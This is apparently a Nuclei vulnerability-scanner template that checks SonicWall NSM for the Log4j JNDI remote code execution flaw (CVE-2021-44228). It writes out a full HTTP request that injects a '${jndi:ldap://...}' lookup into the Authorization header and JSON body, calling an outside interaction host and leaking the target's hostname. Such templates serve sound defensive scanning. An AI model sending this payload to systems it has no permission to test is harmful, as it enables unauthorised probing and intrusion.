72 lines
2.5 KiB
YAML
72 lines
2.5 KiB
YAML
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id: sonicwall-nsm-log4j-rce
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info:
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name: Sonicwall NSM - Remote Code Execution (Apache Log4j)
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author: shaikhyaser, yaser_s
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severity: critical
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description: |
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Sonicwall NSM is susceptible to Log4j JNDI remote code execution. SonicWall Network Security Manager (NSM) allows you to centrally orchestrate all firewall operations error-free, see and manage threats and risks across your firewall ecosystem from one place, and stay connected and compliant.
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reference:
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- https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0032
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2021-44228
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cwe-id: CWE-77
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metadata:
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verified: true
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max-request: 1
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tags: cve,cve2021,rce,jndi,log4j,soniwall,oast,kev
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variables:
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rand1: '{{rand_int(111, 999)}}'
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rand2: '{{rand_int(111, 999)}}'
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http:
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- raw:
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- |
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POST /api/sonicos/auth HTTP/1.1
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Host: {{Hostname}}
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X-Snwl-Timer: no-reset
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Authorization: Digest username="${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/test}", realm="admin-users@x.x.x.x", uri="/api/sonicos/auth", algorithm=SHA-256
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Content-Type: application/json
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Accept: application/json, text/plain, /
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X-Snwl-Api-Scope: extended
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Origin: {{RootURL}}
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Referer: {{RootURL}}/
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Connection: close
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{"override":false,"snwl":"${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/test}"}
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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extractors:
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- type: kval
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kval:
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- interactsh_ip
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- interactsh_ip
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- type: regex
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group: 2
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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part: interactsh_request
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- type: regex
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group: 1
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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part: interactsh_request
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